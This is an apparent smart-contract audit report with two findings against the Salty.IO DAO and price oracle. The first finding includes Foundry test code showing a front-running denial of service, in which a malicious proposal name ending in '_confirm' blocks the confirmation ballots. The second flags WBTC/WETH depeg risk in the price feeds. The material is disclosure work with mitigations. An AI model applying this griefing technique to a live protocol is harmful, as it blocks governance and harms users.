Salty.IO - Ward's results

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L102-L103 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L240-L246 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/Proposals.sol#L249-L255 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/dao/DAO.sol#L203-L208

Vulnerability details

Impact

According to documentation, ballots created with proposeSetContractAddress and proposeWebsiteUpdate functions are considered higher impact proposals. When these proposals are finalized, a new ballot is created with createConfirmationProposal and is voted on again.

A DAO member can propose a new contract address by calling the Proposals::proposeSetContractAddress() function with specifying contractName, newAddress and description parameters. With this contractName, a ballot is created. For example, if the DAO member wants to propose a change to priceFeed1, the contractName parameter they need to provide to the function is priceFeed1, and the resulting ballotName will be "setContract:priceFeed1". This ballot can be finalized when it receives enough votes to reach a quorum and after ballotMinimumEndTime has passed. When this ballot is finalized, the Proposals::createConfirmationProposal() function is called. This function takes the ballotName and appends "_confirm" to the end of it. Thus, the ballotName becomes "setContract:priceFeed1_confirm". The Proposals contract registers each ballotName in the openBallotsByName mapping to prevent the creation of multiple ballots with the same name. If a malicious user calls the Proposals::proposeSetContractAddress() function before the ballot's finalization tx and sets the contractName to "priceFeed1_confirm" (Maybe even by constantly scanning the mempool via a bot and creating proposals with a contractName ending with "_confirm" for every proposed ballotName before finalizing), then the resulting ballotName will be "setContract:priceFeed1_confirm". In this case the ballotName that is being attempted to finalize with Proposals::createConfirmationProposal() cannot be registered in the openBallotsByName mapping again, and the transaction will revert.

Since this same attack vector also applies to proposeWebsiteUpdate, it will prevent the both most important ballots of changing the contract address and changing the website URL from being finalized.

Proof of Concept

For the test to work properly, add this to the DAO.t.sol constructor;

        vm.prank(DEPLOYER);
        salt.transfer(bob, 5000000 ether);

The following tests demonstrates user causing a denial of service with Proposals::proposeSetContractAddress and Proposals::proposeWebsiteUpdate functions. You can add it to DAO.t.sol.

function test_DoS_CreateConfirmationProposalWithSetContract() public {
        // Alice creates a proposal to set a contract address with ballotName: priceFeed1
        vm.startPrank(alice);
        staking.stakeSALT(1000000 ether);

        uint256 firstProposalId = proposals.proposeSetContractAddress("priceFeed1", address(0x1231231), "description");
        Ballot memory firstBallot = proposals.ballotForID(firstProposalId);
        emit log_named_string("1st ballotName", firstBallot.ballotName);
        vm.stopPrank();

        vm.startPrank(bob);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(1000000 ether);

        // Bob creates a malicious proposal to set a contract address with ballotName: "priceFeed1_confirm"
        uint256 secondProposalId = proposals.proposeSetContractAddress("priceFeed1_confirm", address(0x1231231), "description");
        Ballot memory secondBallot = proposals.ballotForID(secondProposalId);
        emit log_named_string("2nd ballotName", secondBallot.ballotName);

        // Dao.finalizeBallot(firstProposalId) will try to create a confirmation ballot but will revert
        _voteForAndFinalizeBallot(firstProposalId, Vote.YES);
        Ballot memory confirmationBallot = proposals.ballotForID(secondProposalId + 1);
        emit log_named_string("confirmation ballotName", confirmationBallot.ballotName);
        vm.stopPrank();
}

    function test_DoS_CreateConfirmationProposalWithWebsiteUpdate() public {
        // Alice creates a proposal to website update with newWebsiteURL: "websiteURL"
        vm.startPrank(alice);
        staking.stakeSALT(1000000 ether);

        uint256 firstProposalId = proposals.proposeWebsiteUpdate("websiteURL", "description");
        Ballot memory firstBallot = proposals.ballotForID(firstProposalId);
        emit log_named_string("1st ballotName", firstBallot.ballotName);
        vm.stopPrank();

        vm.startPrank(bob);
        salt.approve(address(staking), type(uint256).max);
        staking.stakeSALT(1000000 ether);

        // Bob creates a malicious proposal to website update with newWebsiteURL: "websiteURL_confirm"
        uint256 secondProposalId = proposals.proposeWebsiteUpdate("websiteURL_confirm", "description");
        Ballot memory secondBallot = proposals.ballotForID(secondProposalId);
        emit log_named_string("2nd ballotName", secondBallot.ballotName);

        // Dao.finalizeBallot(firstProposalId) will try to create a confirmation ballot but will revert
        _voteForAndFinalizeBallot(firstProposalId, Vote.YES);
        Ballot memory confirmationBallot = proposals.ballotForID(secondProposalId + 1);
        emit log_named_string("confirmation ballotName", confirmationBallot.ballotName);
        vm.stopPrank();
    }

Tools Used

Manual Review and Foundry

Recommended Mitigation Steps

You can add a string checking logic as follows and enforce with require in other functions.

    function containsConfirmSuffix(string memory input) internal pure returns (bool) {
        bytes memory confirmBytes = bytes("_confirm");
        bytes memory inputBytes = bytes(input);

        if (inputBytes.length < confirmBytes.length) {
            return false;
        }
        for (uint256 i = 0; i < inputBytes.length - confirmBytes.length + 1; i++) {
            bool isMatch = true;
            for (uint256 j = 0; j < confirmBytes.length; j++) {
                if (inputBytes[i + j] != confirmBytes[j]) {
                    isMatch = false;
                    break;
                }
            }
            if (isMatch) {
                return true;
            }
        }

        return false;
    }

    function proposeSetContractAddress(string calldata contractName, address newAddress, string calldata description)
        external
        nonReentrant
        returns (uint256 ballotID)
    {
        require(newAddress != address(0), "Proposed address cannot be address(0)");
+       require(!containsConfirmSuffix(contractName), "Invalid contractName");

        string memory ballotName = string.concat("setContract:", contractName);
        return _possiblyCreateProposal(ballotName, BallotType.SET_CONTRACT, newAddress, 0, "", description);
    }

    function proposeWebsiteUpdate(string calldata newWebsiteURL, string calldata description)
        external
        nonReentrant
        returns (uint256 ballotID)
    {
        require(
            keccak256(abi.encodePacked(newWebsiteURL)) != keccak256(abi.encodePacked("")),
            "newWebsiteURL cannot be empty"
        );
+       require(!containsConfirmSuffix(newWebsiteURL), "Invalid websiteURL");
        string memory ballotName = string.concat("setURL:", newWebsiteURL);
        return
            _possiblyCreateProposal(ballotName, BallotType.SET_WEBSITE_URL, address(0), 0, newWebsiteURL, description);
    }

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/PriceAggregator.sol#L141-L143 https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/PriceAggregator.sol#L176-L197 https://github.com/code-423n4/2024-01-salty/blob/main/src/price_feed/CoreChainlinkFeed.sol#L14-L23 https://github.com/code-423n4/2024-01-salty/blob/main/src/stable/CollateralAndLiquidity.sol#L195-L206

Vulnerability details

Impact

The Chainlink Oracle in PriceAggregator uses BTC/USD and ETH/USD price feeds are to price WBTC and WETH. Both WBTC and WETH are basically bridged assets, and if either the WBTC or WETH bridge is compromised or fails, then WBTC or WETH will depeg and will no longer be equivalent to BTC or ETH. Since only the Chainlink oracle returns prices based on BTC and ETH rather than WBTC and WETH, but the CoreUniswapFeed and CoreSaltyFeed use WBTC and WETH, the price difference between the price sources will be too far apart and _aggregatePrices will return an error as the comment stated. Also, except in the case of a large depeg, the small differences that always exist between BTC and WBTC (as well as ETH and WETH) will still affect the price since we aggregate the prices and take the average, this can allow us to make small arbitrages when borrowing to the detriment of the protocol.

Proof of Concept

PriceAggregator uses 3 price feeds and one is Chainlink.

IPriceFeed public priceFeed1; // CoreUniswapFeed by default
IPriceFeed public priceFeed2; // CoreChainlinkFeed by default
IPriceFeed public priceFeed3; // CoreSaltyFeed by default

CoreChainlinkFeed uses BTC/USD and ETH/USD price feeds.

AggregatorV3Interface immutable public CHAINLINK_BTC_USD;
AggregatorV3Interface immutable public CHAINLINK_ETH_USD;

Tools Used

Manual Review

Recommended Mitigation Steps

As the third price feed, consider Chainlink's alternatives or give prices by taking Chainlink's WBTC/BTC price feed into account to secure the WBTC side.

Assessed type

Oracle